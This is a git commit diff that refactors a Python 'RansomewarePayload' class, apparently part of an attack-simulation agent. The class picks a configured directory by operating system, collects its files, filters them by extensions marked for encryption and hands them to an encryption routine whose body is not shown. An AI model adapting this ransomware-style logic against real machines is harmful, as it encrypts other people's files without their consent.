agent: Replace self.config with self.target_dir in RansomewarePayload

This commit is contained in:
Mike Salvatore 2021-06-22 13:31:20 -04:00
parent 0b953c8cff
commit a8ebe6ae76
1 changed files with 5 additions and 13 deletions

View File

@ -14,25 +14,17 @@ LOG = logging.getLogger(__name__)
class RansomewarePayload:
def __init__(self, config: dict):
self.config = config
LOG.info(f"Windows dir configured for encryption is " f"{config['windows_dir']}")
LOG.info(f"Linux dir configured for encryption is " f"{config['linux_dir']}")
self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"])
def run_payload(self):
LOG.info(
f"Windows dir configured for encryption is " f"{self.config['windows_dir_ransom']}"
)
LOG.info(f"Linux dir configured for encryption is " f"{self.config['linux_dir_ransom']}")
file_list = self._find_files()
self._encrypt_files(file_list)
def _find_files(self):
dir_path = (
self.config["windows_dir_ransom"]
if is_windows_os()
else self.config["linux_dir_ransom"]
)
all_files = get_all_files_in_directory(Path(dir_path))
all_files = get_all_files_in_directory(self.target_dir)
return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION))
def _encrypt_files(self, file_list):